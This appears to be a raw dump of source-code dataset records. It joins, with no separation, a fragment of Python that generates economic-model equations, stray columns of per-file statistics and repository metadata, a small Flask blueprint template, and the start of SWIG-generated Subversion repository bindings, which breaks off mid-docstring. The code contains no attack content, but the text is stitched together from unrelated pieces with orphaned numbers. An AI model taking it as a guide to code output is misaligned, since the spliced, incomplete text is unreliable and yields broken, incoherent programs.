DataBase_wheels.prepend_index_with_1dindex(self.out.vals,self.txE.vals),name=self.ns[var]) elif var =='ic_1' and self.sector is False: return pd.Series(0.1,index = self.dur.vals, name=self.ns[var]) elif var =='ic_1' and self.sector is not False: return pd.Series(0.1, index = pd.MultiIndex.from_product([self.ss.vals, self.dur.vals]), name = self.ns[var]) elif var == 'ic_2': return self.rDepr.rctree_pd(self.tE).droplevel(self.t.name) elif var == 'ic_tvc' and self.sector is False: return pd.Series(0, index = self.dur.vals, name = self.ns[var]) elif var == 'ic_tvc' and self.sector is not False: return pd.Series(0, index = pd.MultiIndex.from_product([self.ss.vals,self.dur.vals]), name = self.ns[var]) def group_conditions(self,group): if group == 'ict_exo': return [{'ic_1': self.dur, 'ic_2': self.dur, 'ic_tvc': self.dur}] elif group == 'ict_endo': return [{'ic': self.out,'os': self.out}] def exo_groups(self): return ['ict_exo'] def endo_groups(self): return ['ict_endo'] def sub_groups(self,n=None): return [] def a(self,attr,lot_indices=[],l='',tlag=''): """ get the version of the symbol self.attr with alias from list of tuples with indices (lot_indices) and potentially .l added.""" return getattr(self,attr).write(alias=create_alias_dict(self.aliases,lot_indices),l=l,lag={self.t.name: tlag}) def run(self,name): nn,nnn = self.a('n',[(0,1)]),self.a('n',[(0,2)]) dur2inv,dur2inv2,dur2 = self.a('dur2inv'), self.a('dur2inv',[(0,1),(1,2)]),self.a('dur',[(0,1)]) qD, qD_m1,qD_p1 = self.a('qD'),self.a('qD',tlag='-1'),self.a('qD',tlag='+1') qD2,qD2_m1,qD3 = self.a('qD',[(0,1)]),self.a('qD',[(0,1)],tlag='-1'), self.a('qD',[(0,2)]) PwT,PwT2,PwT2_m1 = self.a('PwT'),self.a('PwT',[(0,1)]), self.a('PwT',[(0,1)],tlag='-1') ic, ic_1, ic_2, ic_tvc = self.a('ic'), self.a('ic_1'), self.a('ic_2'), self.a('ic_tvc') ic_12,ic_22 = self.a('ic_1',[(0,1)]), self.a('ic_2',[(0,1)]) Rrate,rDepr,g,infl = self.a('Rrate'), self.a('rDepr'),self.a('g_LR'),self.a('infl_LR') qS, qS2 = self.a('qS'),self.a('qS',[(0,1)]) PbT,PbT2,os,out2 = self.a('PbT'),self.a('PbT',[(0,1)]),self.a('os'), self.a('out',[(0,1)]) out = self.law_of_motion(f"E_lom_{name}", self.conditions['lom'],qD_p1,qD,rDepr,qD2,dur2inv,nn,g)+'\n\t' out += self.price_capital(f"E_pk_{name}", self.conditions['pk'],PwT,PwT2_m1,PwT2,qD_m1,qD2_m1,qD,qD2,Rrate,ic_1,ic_2,rDepr,nn,dur2inv,infl)+'\n\t' out += self.tvc_condition(f"E_Ktvc_{name}", self.conditions['Ktvc'],qD,qD_m1,ic_tvc)+'\n\t' out += self.outputshares(f"E_outs_{name}", self.conditions['os'],nn,qS,PbT,qS2,PbT2,os,out2)+'\n\t' out += self.invest_cost(f"E_instcost_{name}", self.conditions['instcost'],nn,nnn,dur2,dur2inv2,os,qS,qD2,qD3,ic,ic_12,ic_22) return out def law_of_motion(self,name,conditions,qD_p1,qD,rDepr,qD2,dur2inv,nn,g): RHS = f"""({qD}*(1-{rDepr})+sum({nn}$({dur2inv}), {qD2}))/(1+{g})""" return equation(name,self.qD.doms(),conditions,qD_p1,RHS) def price_capital(self,name,conditions,PwT,PwT2_m1,PwT2,qD_m1,qD2_m1,qD,qD2,Rrate,ic_1,ic_2,rDepr,nn,dur2inv,infl): RHS = f"""sum({nn}$({dur2inv}),{Rrate}*({PwT2_m1}/(1+{infl})+{ic_1}*({qD2_m1}/{qD_m1}-{ic_2}))+({ic_1}*0.5)*(sqr({ic_2}*{qD})-sqr({qD2}))/sqr({qD})-(1-{rDepr})*({PwT2}+{ic_1}*({qD2}/{qD}-{ic_2})))""" return equation(name,self.PwT.doms(),conditions,PwT,RHS) def tvc_condition(self,name,conditions,qD,qD_m1,ic_tvc): RHS = f"""(1+{ic_tvc})*{qD_m1}""" return equation(name,self.qD.doms(),conditions,qD,RHS) def outputshares(self,name,conditions,nn,qS,PbT,qS2,PbT2,os,out2): RHS = f"""{qS}*{PbT}/sum({nn}$({out2}), {qS2}*{PbT2})""" return equation(name,self.qS.doms(),conditions,os,RHS) def invest_cost(self,name,conditions,nn,nnn,dur2,dur2inv2,os,qS,qD2,qD3,ic,ic_12,ic_22): RHS = f"""({os}/{qS})*sum({nn}$({dur2}), sum({nnn}$({dur2inv2}), {ic_12}*0.5*{qD2}*sqr({qD3}/{qD2}-{ic_22})))""" return equation(name,self.ic.doms(),conditions,ic,RHS) class itoryD_v1: """ collection of price indices / demand systems for ces nests """ def __init__(self,**kwargs): self.ns = self.namespace(kwargs) @staticmethod def namespace(self,**kwargs): return {key: df(key,kwargs) for key in ['ar1_itory']} def add_symbols(self,db,ns): [setattr(self,sym,db[ns[sym]]) for sym in ('n','t','txE','tx0','t0','tE','itoryD','qD','g_LR')]; for sym in self.ns: db[self.ns[sym]] = self.default_var_series(sym) setattr(self,sym,db[self.ns[sym]]) def add_conditions(self,db,ns): self.conditions = {'ar': f"{db[ns['tx0E']].write()} and {db[ns['itoryD']].write()}"} def default_var_series(self,var): if var == 'ar1_itory': return 1 def group_conditions(self,group): if group == 'itory_exo': return [{'ar1_itory': None}] def exo_groups(self): return ['itory_exo'] def endo_groups(self): return [] def a(self,attr,lot_indices=[],l='',tlag=''): """ get the version of the symbol self.attr with alias from list of tuples with indices (lot_indices) and potentially .l added.""" return getattr(self,attr).write(l=l,lag={self.t.name: tlag}) def run(self,name): qD, qD_m1 = self.a('qD'),self.a('qD',tlag='-1') ar,g = self.a('ar1_itory'), self.a('g_LR') return self.ar(f"E_{name}",self.conditions['ar'],qD,qD_m1,ar,g) def ar(self,name,conditions,qD,qD_m1,ar,g): RHS = f"""{qD_m1}*{ar}/(1+{g})""" return equation(name,self.qD.doms(),conditions,qD,RHS)
53.280075
233
0.649638
5,008
28,345
3.559305
0.04992
0.042076
0.012118
0.030856
0.833941
0.820028
0.809481
0.787546
0.772511
0.756129
0
0.030176
0.104463
28,345
532
234
53.280075
0.672038
0.094197
0
0.636364
0
0.046683
0.186569
0.06236
0
0
0
0
0
1
0.208845
false
0.004914
0.002457
0.02457
0.405405
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
7
ccb6fd1246e40656255013c57f2b0ae86bd79646
206
py
Python
weber/_templates/snippets/blueprint.py
vmalloc/weber-cli
0f8ebf5c763c527cd2cfe33164a192270a5f87ae
[ "BSD-3-Clause" ]
1
2015-06-02T22:50:02.000Z
2015-06-02T22:50:02.000Z
weber/_templates/snippets/blueprint.py
vmalloc/weber-cli
0f8ebf5c763c527cd2cfe33164a192270a5f87ae
[ "BSD-3-Clause" ]
null
null
null
weber/_templates/snippets/blueprint.py
vmalloc/weber-cli
0f8ebf5c763c527cd2cfe33164a192270a5f87ae
[ "BSD-3-Clause" ]
null
null
null
from flask import Blueprint blueprint = Blueprint('{{blueprint.name}}', __name__, url_prefix='{{blueprint.path}}') @blueprint.route('/') def index(): return 'This is the {{blueprint.name}} blueprint'
25.75
86
0.703883
24
206
5.833333
0.625
0.385714
0.385714
0
0
0
0
0
0
0
0
0
0.116505
206
7
87
29.428571
0.769231
0
0
0
0
0
0.373786
0
0
0
0
0
0
1
0.2
false
0
0.2
0.2
0.6
0.8
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
1
0
7
4e01174b2fcc3dc5b10f2353f5d6eebb011086c4
60,071
py
Python
trac/Lib/site-packages/libsvn/repos.py
thinkbase/PortableTrac
9ea0210f6b88f135ef73f370b48127af0495b2d7
[ "BSD-3-Clause" ]
2
2015-08-06T04:19:21.000Z
2020-04-29T23:52:10.000Z
trac/Lib/site-packages/libsvn/repos.py
thinkbase/PortableTrac
9ea0210f6b88f135ef73f370b48127af0495b2d7
[ "BSD-3-Clause" ]
null
null
null
trac/Lib/site-packages/libsvn/repos.py
thinkbase/PortableTrac
9ea0210f6b88f135ef73f370b48127af0495b2d7
[ "BSD-3-Clause" ]
null
null
null
# This file was automatically generated by SWIG (http://www.swig.org). # Version 1.3.40 # # Do not make changes to this file unless you know what you are doing--modify # the SWIG interface file instead. # This file is compatible with both classic and new-style classes. from sys import version_info if version_info >= (2,6,0): def swig_import_helper(): from os.path import dirname import imp fp = None try: fp, pathname, description = imp.find_module('_repos', [dirname(__file__)]) except ImportError: import _repos return _repos if fp is not None: try: _mod = imp.load_module('_repos', fp, pathname, description) finally: fp.close() return _mod _repos = swig_import_helper() del swig_import_helper else: import _repos del version_info def _swig_setattr_nondynamic(self,class_type,name,value,static=1): if (name == "thisown"): return self.this.own(value) if (name == "this"): if type(value).__name__ == 'SwigPyObject': self.__dict__[name] = value return method = class_type.__swig_setmethods__.get(name,None) if method: return method(self,value) if (not static) or hasattr(self,name): self.__dict__[name] = value else: raise AttributeError("You cannot add attributes to %s" % self) def _swig_setattr(self,class_type,name,value): return _swig_setattr_nondynamic(self,class_type,name,value,0) def _swig_getattr(self,class_type,name): if (name == "thisown"): return self.this.own() method = class_type.__swig_getmethods__.get(name,None) if method: return method(self) raise AttributeError(name) def _swig_repr(self): try: strthis = "proxy of " + self.this.__repr__() except: strthis = "" return "<%s.%s; %s >" % (self.__class__.__module__, self.__class__.__name__, strthis,) import core import delta import fs def svn_repos_version(): """svn_repos_version() -> svn_version_t""" return _repos.svn_repos_version() svn_authz_none = _repos.svn_authz_none svn_authz_read = _repos.svn_authz_read svn_authz_write = _repos.svn_authz_write svn_authz_recursive = _repos.svn_authz_recursive def svn_repos_find_root_path(*args): """svn_repos_find_root_path(char path, apr_pool_t pool) -> char""" return _repos.svn_repos_find_root_path(*args) def svn_repos_open(*args): """svn_repos_open(char path, apr_pool_t pool) -> svn_error_t""" return _repos.svn_repos_open(*args) def svn_repos_create(*args): """ svn_repos_create(char path, char unused_1, char unused_2, apr_hash_t config, apr_hash_t fs_config, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_create(*args) def svn_repos_upgrade(*args): """ svn_repos_upgrade(char path, svn_boolean_t nonblocking, svn_error_t start_callback, void start_callback_baton, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_upgrade(*args) def svn_repos_delete(*args): """svn_repos_delete(char path, apr_pool_t pool) -> svn_error_t""" return _repos.svn_repos_delete(*args) def svn_repos_has_capability(*args): """svn_repos_has_capability(svn_repos_t repos, char capability, apr_pool_t pool) -> svn_error_t""" return _repos.svn_repos_has_capability(*args) SVN_REPOS_CAPABILITY_MERGEINFO = _repos.SVN_REPOS_CAPABILITY_MERGEINFO def svn_repos_fs(*args): """svn_repos_fs(svn_repos_t repos) -> svn_fs_t""" return _repos.svn_repos_fs(*args) def svn_repos_hotcopy(*args): """ svn_repos_hotcopy(char src_path, char dst_path, svn_boolean_t clean_logs, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_hotcopy(*args) def svn_repos_fs_pack(*args): """ svn_repos_fs_pack(svn_repos_t repos, svn_fs_pack_notify_t notify_func, void notify_baton, svn_cancel_func_t cancel_func, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_fs_pack(*args) def svn_repos_recover3(*args): """ svn_repos_recover3(char path, svn_boolean_t nonblocking, svn_error_t start_callback, void start_callback_baton, svn_cancel_func_t cancel_func, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_recover3(*args) def svn_repos_recover2(*args): """ svn_repos_recover2(char path, svn_boolean_t nonblocking, svn_error_t start_callback, void start_callback_baton, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_recover2(*args) def svn_repos_recover(*args): """svn_repos_recover(char path, apr_pool_t pool) -> svn_error_t""" return _repos.svn_repos_recover(*args) def svn_repos_db_logfiles(*args): """svn_repos_db_logfiles(char path, svn_boolean_t only_unused, apr_pool_t pool) -> svn_error_t""" return _repos.svn_repos_db_logfiles(*args) def svn_repos_path(*args): """svn_repos_path(svn_repos_t repos, apr_pool_t pool) -> char""" return _repos.svn_repos_path(*args) def svn_repos_db_env(*args): """svn_repos_db_env(svn_repos_t repos, apr_pool_t pool) -> char""" return _repos.svn_repos_db_env(*args) def svn_repos_conf_dir(*args): """svn_repos_conf_dir(svn_repos_t repos, apr_pool_t pool) -> char""" return _repos.svn_repos_conf_dir(*args) def svn_repos_svnserve_conf(*args): """svn_repos_svnserve_conf(svn_repos_t repos, apr_pool_t pool) -> char""" return _repos.svn_repos_svnserve_conf(*args) def svn_repos_lock_dir(*args): """svn_repos_lock_dir(svn_repos_t repos, apr_pool_t pool) -> char""" return _repos.svn_repos_lock_dir(*args) def svn_repos_db_lockfile(*args): """svn_repos_db_lockfile(svn_repos_t repos, apr_pool_t pool) -> char""" return _repos.svn_repos_db_lockfile(*args) def svn_repos_db_logs_lockfile(*args): """svn_repos_db_logs_lockfile(svn_repos_t repos, apr_pool_t pool) -> char""" return _repos.svn_repos_db_logs_lockfile(*args) def svn_repos_hook_dir(*args): """svn_repos_hook_dir(svn_repos_t repos, apr_pool_t pool) -> char""" return _repos.svn_repos_hook_dir(*args) def svn_repos_start_commit_hook(*args): """svn_repos_start_commit_hook(svn_repos_t repos, apr_pool_t pool) -> char""" return _repos.svn_repos_start_commit_hook(*args) def svn_repos_pre_commit_hook(*args): """svn_repos_pre_commit_hook(svn_repos_t repos, apr_pool_t pool) -> char""" return _repos.svn_repos_pre_commit_hook(*args) def svn_repos_post_commit_hook(*args): """svn_repos_post_commit_hook(svn_repos_t repos, apr_pool_t pool) -> char""" return _repos.svn_repos_post_commit_hook(*args) def svn_repos_pre_revprop_change_hook(*args): """svn_repos_pre_revprop_change_hook(svn_repos_t repos, apr_pool_t pool) -> char""" return _repos.svn_repos_pre_revprop_change_hook(*args) def svn_repos_post_revprop_change_hook(*args): """svn_repos_post_revprop_change_hook(svn_repos_t repos, apr_pool_t pool) -> char""" return _repos.svn_repos_post_revprop_change_hook(*args) def svn_repos_pre_lock_hook(*args): """svn_repos_pre_lock_hook(svn_repos_t repos, apr_pool_t pool) -> char""" return _repos.svn_repos_pre_lock_hook(*args) def svn_repos_post_lock_hook(*args): """svn_repos_post_lock_hook(svn_repos_t repos, apr_pool_t pool) -> char""" return _repos.svn_repos_post_lock_hook(*args) def svn_repos_pre_unlock_hook(*args): """svn_repos_pre_unlock_hook(svn_repos_t repos, apr_pool_t pool) -> char""" return _repos.svn_repos_pre_unlock_hook(*args) def svn_repos_post_unlock_hook(*args): """svn_repos_post_unlock_hook(svn_repos_t repos, apr_pool_t pool) -> char""" return _repos.svn_repos_post_unlock_hook(*args) def svn_repos_begin_report2(*args): """ svn_repos_begin_report2(svn_revnum_t revnum, svn_repos_t repos, char fs_base, char target, char tgt_path, svn_boolean_t text_deltas, svn_depth_t depth, svn_boolean_t ignore_ancestry, svn_boolean_t send_copyfrom_args, svn_delta_editor_t editor, void edit_baton, svn_repos_authz_func_t authz_read_func, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_begin_report2(*args) def svn_repos_begin_report(*args): """ svn_repos_begin_report(svn_revnum_t revnum, char username, svn_repos_t repos, char fs_base, char target, char tgt_path, svn_boolean_t text_deltas, svn_boolean_t recurse, svn_boolean_t ignore_ancestry, svn_delta_editor_t editor, void edit_baton, svn_repos_authz_func_t authz_read_func, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_begin_report(*args) def svn_repos_set_path3(*args): """ svn_repos_set_path3(void report_baton, char path, svn_revnum_t revision, svn_depth_t depth, svn_boolean_t start_empty, char lock_token, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_set_path3(*args) def svn_repos_set_path2(*args): """ svn_repos_set_path2(void report_baton, char path, svn_revnum_t revision, svn_boolean_t start_empty, char lock_token, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_set_path2(*args) def svn_repos_set_path(*args): """ svn_repos_set_path(void report_baton, char path, svn_revnum_t revision, svn_boolean_t start_empty, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_set_path(*args) def svn_repos_link_path3(*args): """ svn_repos_link_path3(void report_baton, char path, char link_path, svn_revnum_t revision, svn_depth_t depth, svn_boolean_t start_empty, char lock_token, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_link_path3(*args) def svn_repos_link_path2(*args): """ svn_repos_link_path2(void report_baton, char path, char link_path, svn_revnum_t revision, svn_boolean_t start_empty, char lock_token, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_link_path2(*args) def svn_repos_link_path(*args): """ svn_repos_link_path(void report_baton, char path, char link_path, svn_revnum_t revision, svn_boolean_t start_empty, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_link_path(*args) def svn_repos_delete_path(*args): """svn_repos_delete_path(void report_baton, char path, apr_pool_t pool) -> svn_error_t""" return _repos.svn_repos_delete_path(*args) def svn_repos_finish_report(*args): """svn_repos_finish_report(void report_baton, apr_pool_t pool) -> svn_error_t""" return _repos.svn_repos_finish_report(*args) def svn_repos_abort_report(*args): """svn_repos_abort_report(void report_baton, apr_pool_t pool) -> svn_error_t""" return _repos.svn_repos_abort_report(*args) def svn_repos_dir_delta2(*args): """ svn_repos_dir_delta2(svn_fs_root_t src_root, char src_parent_dir, char src_entry, svn_fs_root_t tgt_root, char tgt_path, svn_delta_editor_t editor, void edit_baton, svn_repos_authz_func_t authz_read_func, svn_boolean_t text_deltas, svn_depth_t depth, svn_boolean_t entry_props, svn_boolean_t ignore_ancestry, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_dir_delta2(*args) def svn_repos_dir_delta(*args): """ svn_repos_dir_delta(svn_fs_root_t src_root, char src_parent_dir, char src_entry, svn_fs_root_t tgt_root, char tgt_path, svn_delta_editor_t editor, void edit_baton, svn_repos_authz_func_t authz_read_func, svn_boolean_t text_deltas, svn_boolean_t recurse, svn_boolean_t entry_props, svn_boolean_t ignore_ancestry, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_dir_delta(*args) def svn_repos_replay2(*args): """ svn_repos_replay2(svn_fs_root_t root, char base_dir, svn_revnum_t low_water_mark, svn_boolean_t send_deltas, svn_delta_editor_t editor, void edit_baton, svn_repos_authz_func_t authz_read_func, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_replay2(*args) def svn_repos_replay(*args): """ svn_repos_replay(svn_fs_root_t root, svn_delta_editor_t editor, void edit_baton, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_replay(*args) def svn_repos_get_commit_editor5(*args): """ svn_repos_get_commit_editor5(svn_repos_t repos, svn_fs_txn_t txn, char repos_url, char base_path, apr_hash_t revprop_table, svn_commit_callback2_t callback, svn_repos_authz_callback_t authz_callback, void authz_baton, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_get_commit_editor5(*args) def svn_repos_get_commit_editor4(*args): """ svn_repos_get_commit_editor4(svn_repos_t repos, svn_fs_txn_t txn, char repos_url, char base_path, char user, char log_msg, svn_commit_callback2_t callback, svn_repos_authz_callback_t authz_callback, void authz_baton, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_get_commit_editor4(*args) def svn_repos_get_commit_editor3(*args): """ svn_repos_get_commit_editor3(svn_repos_t repos, svn_fs_txn_t txn, char repos_url, char base_path, char user, char log_msg, svn_commit_callback_t callback, svn_repos_authz_callback_t authz_callback, void authz_baton, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_get_commit_editor3(*args) def svn_repos_get_commit_editor2(*args): """ svn_repos_get_commit_editor2(svn_repos_t repos, svn_fs_txn_t txn, char repos_url, char base_path, char user, char log_msg, svn_commit_callback_t callback, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_get_commit_editor2(*args) def svn_repos_get_commit_editor(*args): """ svn_repos_get_commit_editor(svn_repos_t repos, char repos_url, char base_path, char user, char log_msg, svn_commit_callback_t callback, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_get_commit_editor(*args) def svn_repos_dated_revision(*args): """svn_repos_dated_revision(svn_repos_t repos, apr_time_t tm, apr_pool_t pool) -> svn_error_t""" return _repos.svn_repos_dated_revision(*args) def svn_repos_get_committed_info(*args): """svn_repos_get_committed_info(svn_fs_root_t root, char path, apr_pool_t pool) -> svn_error_t""" return _repos.svn_repos_get_committed_info(*args) def svn_repos_stat(*args): """svn_repos_stat(svn_fs_root_t root, char path, apr_pool_t pool) -> svn_error_t""" return _repos.svn_repos_stat(*args) def svn_repos_deleted_rev(*args): """ svn_repos_deleted_rev(svn_fs_t fs, char path, svn_revnum_t start, svn_revnum_t end, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_deleted_rev(*args) def svn_repos_history2(*args): """ svn_repos_history2(svn_fs_t fs, char path, svn_repos_history_func_t history_func, svn_repos_authz_func_t authz_read_func, svn_revnum_t start, svn_revnum_t end, svn_boolean_t cross_copies, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_history2(*args) def svn_repos_history(*args): """ svn_repos_history(svn_fs_t fs, char path, svn_repos_history_func_t history_func, svn_revnum_t start, svn_revnum_t end, svn_boolean_t cross_copies, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_history(*args) def svn_repos_trace_node_locations(*args): """ svn_repos_trace_node_locations(svn_fs_t fs, char fs_path, svn_revnum_t peg_revision, apr_array_header_t location_revisions, svn_repos_authz_func_t authz_read_func, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_trace_node_locations(*args) def svn_repos_node_location_segments(*args): """ svn_repos_node_location_segments(svn_repos_t repos, char path, svn_revnum_t peg_revision, svn_revnum_t start_rev, svn_revnum_t end_rev, svn_location_segment_receiver_t receiver, svn_repos_authz_func_t authz_read_func, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_node_location_segments(*args) def svn_repos_get_logs4(*args): """ svn_repos_get_logs4(svn_repos_t repos, apr_array_header_t paths, svn_revnum_t start, svn_revnum_t end, int limit, svn_boolean_t discover_changed_paths, svn_boolean_t strict_node_history, svn_boolean_t include_merged_revisions, apr_array_header_t revprops, svn_repos_authz_func_t authz_read_func, svn_log_entry_receiver_t receiver, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_get_logs4(*args) def svn_repos_get_logs3(*args): """ svn_repos_get_logs3(svn_repos_t repos, apr_array_header_t paths, svn_revnum_t start, svn_revnum_t end, int limit, svn_boolean_t discover_changed_paths, svn_boolean_t strict_node_history, svn_repos_authz_func_t authz_read_func, svn_log_message_receiver_t receiver, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_get_logs3(*args) def svn_repos_get_logs2(*args): """ svn_repos_get_logs2(svn_repos_t repos, apr_array_header_t paths, svn_revnum_t start, svn_revnum_t end, svn_boolean_t discover_changed_paths, svn_boolean_t strict_node_history, svn_repos_authz_func_t authz_read_func, svn_log_message_receiver_t receiver, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_get_logs2(*args) def svn_repos_get_logs(*args): """ svn_repos_get_logs(svn_repos_t repos, apr_array_header_t paths, svn_revnum_t start, svn_revnum_t end, svn_boolean_t discover_changed_paths, svn_boolean_t strict_node_history, svn_log_message_receiver_t receiver, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_get_logs(*args) def svn_repos_fs_get_mergeinfo(*args): """ svn_repos_fs_get_mergeinfo(svn_repos_t repos, apr_array_header_t paths, svn_revnum_t revision, svn_mergeinfo_inheritance_t inherit, svn_boolean_t include_descendants, svn_repos_authz_func_t authz_read_func, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_fs_get_mergeinfo(*args) def svn_repos_get_file_revs2(*args): """ svn_repos_get_file_revs2(svn_repos_t repos, char path, svn_revnum_t start, svn_revnum_t end, svn_boolean_t include_merged_revisions, svn_repos_authz_func_t authz_read_func, svn_file_rev_handler_t handler, void handler_baton, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_get_file_revs2(*args) def svn_repos_get_file_revs(*args): """ svn_repos_get_file_revs(svn_repos_t repos, char path, svn_revnum_t start, svn_revnum_t end, svn_repos_authz_func_t authz_read_func, svn_repos_file_rev_handler_t handler, void handler_baton, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_get_file_revs(*args) def svn_repos_fs_commit_txn(*args): """svn_repos_fs_commit_txn(svn_repos_t repos, svn_fs_txn_t txn, apr_pool_t pool) -> svn_error_t""" return _repos.svn_repos_fs_commit_txn(*args) def svn_repos_fs_begin_txn_for_commit2(*args): """ svn_repos_fs_begin_txn_for_commit2(svn_repos_t repos, svn_revnum_t rev, apr_hash_t revprop_table, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_fs_begin_txn_for_commit2(*args) def svn_repos_fs_begin_txn_for_commit(*args): """ svn_repos_fs_begin_txn_for_commit(svn_repos_t repos, svn_revnum_t rev, char author, char log_msg, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_fs_begin_txn_for_commit(*args) def svn_repos_fs_begin_txn_for_update(*args): """svn_repos_fs_begin_txn_for_update(svn_repos_t repos, svn_revnum_t rev, char author, apr_pool_t pool) -> svn_error_t""" return _repos.svn_repos_fs_begin_txn_for_update(*args) def svn_repos_fs_lock(*args): """ svn_repos_fs_lock(svn_repos_t repos, char path, char token, char comment, svn_boolean_t is_dav_comment, apr_time_t expiration_date, svn_revnum_t current_rev, svn_boolean_t steal_lock, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_fs_lock(*args) def svn_repos_fs_unlock(*args): """ svn_repos_fs_unlock(svn_repos_t repos, char path, char token, svn_boolean_t break_lock, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_fs_unlock(*args) def svn_repos_fs_get_locks(*args): """ svn_repos_fs_get_locks(svn_repos_t repos, char path, svn_repos_authz_func_t authz_read_func, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_fs_get_locks(*args) def svn_repos_fs_change_rev_prop3(*args): """ svn_repos_fs_change_rev_prop3(svn_repos_t repos, svn_revnum_t rev, char author, char name, svn_string_t new_value, svn_boolean_t use_pre_revprop_change_hook, svn_boolean_t use_post_revprop_change_hook, svn_repos_authz_func_t authz_read_func, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_fs_change_rev_prop3(*args) def svn_repos_fs_change_rev_prop2(*args): """ svn_repos_fs_change_rev_prop2(svn_repos_t repos, svn_revnum_t rev, char author, char name, svn_string_t new_value, svn_repos_authz_func_t authz_read_func, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_fs_change_rev_prop2(*args) def svn_repos_fs_change_rev_prop(*args): """ svn_repos_fs_change_rev_prop(svn_repos_t repos, svn_revnum_t rev, char author, char name, svn_string_t new_value, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_fs_change_rev_prop(*args) def svn_repos_fs_revision_prop(*args): """ svn_repos_fs_revision_prop(svn_repos_t repos, svn_revnum_t rev, char propname, svn_repos_authz_func_t authz_read_func, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_fs_revision_prop(*args) def svn_repos_fs_revision_proplist(*args): """ svn_repos_fs_revision_proplist(svn_repos_t repos, svn_revnum_t rev, svn_repos_authz_func_t authz_read_func, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_fs_revision_proplist(*args) def svn_repos_fs_change_node_prop(*args): """ svn_repos_fs_change_node_prop(svn_fs_root_t root, char path, char name, svn_string_t value, apr_pool_t pool) -> svn_error_t """ return _repos.svn_repos_fs_change_node_prop(*args) def svn_repos_fs_change_txn_prop(*args): """svn_repos_fs_change_txn_prop(svn_fs_txn_t txn, char name, svn_string_t value, apr_pool_t pool) -> svn_error_t""" return _repos.svn_repos_fs_change_txn_prop(*args) def svn_repos_fs_change_txn_props(*args): """svn_repos_fs_change_txn_props(svn_fs_txn_t txn, apr_array_header_t props, apr_pool_t pool) -> svn_error_t""" return _repos.svn_repos_fs_change_txn_props(*args) class svn_repos_node_t: """Proxy of C svn_repos_node_t struct""" __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, svn_repos_node_t, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, svn_repos_node_t, name) def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr __swig_setmethods__["kind"] = _repos.svn_repos_node_t_kind_set __swig_getmethods__["kind"] = _repos.svn_repos_node_t_kind_get __swig_setmethods__["action"] = _repos.svn_repos_node_t_action_set __swig_getmethods__["action"] = _repos.svn_repos_node_t_action_get __swig_setmethods__["text_mod"] = _repos.svn_repos_node_t_text_mod_set __swig_getmethods__["text_mod"] = _repos.svn_repos_node_t_text_mod_get __swig_setmethods__["prop_mod"] = _repos.svn_repos_node_t_prop_mod_set __swig_getmethods__["prop_mod"] = _repos.svn_repos_node_t_prop_mod_get __swig_setmethods__["name"] = _repos.svn_repos_node_t_name_set __swig_getmethods__["name"] = _repos.svn_repos_node_t_name_get __swig_setmethods__["copyfrom_rev"] = _repos.svn_repos_node_t_copyfrom_rev_set __swig_getmethods__["copyfrom_rev"] = _repos.svn_repos_node_t_copyfrom_rev_get __swig_setmethods__["copyfrom_path"] = _repos.svn_repos_node_t_copyfrom_path_set __swig_getmethods__["copyfrom_path"] = _repos.svn_repos_node_t_copyfrom_path_get __swig_setmethods__["sibling"] = _repos.svn_repos_node_t_sibling_set __swig_getmethods__["sibling"] = _repos.svn_repos_node_t_sibling_get __swig_setmethods__["child"] = _repos.svn_repos_node_t_child_set __swig_getmethods__["child"] = _repos.svn_repos_node_t_child_get __swig_setmethods__["parent"] = _repos.svn_repos_node_t_parent_set __swig_getmethods__["parent"] = _repos.svn_repos_node_t_parent_get def set_parent_pool(self, parent_pool=None): """Create a new 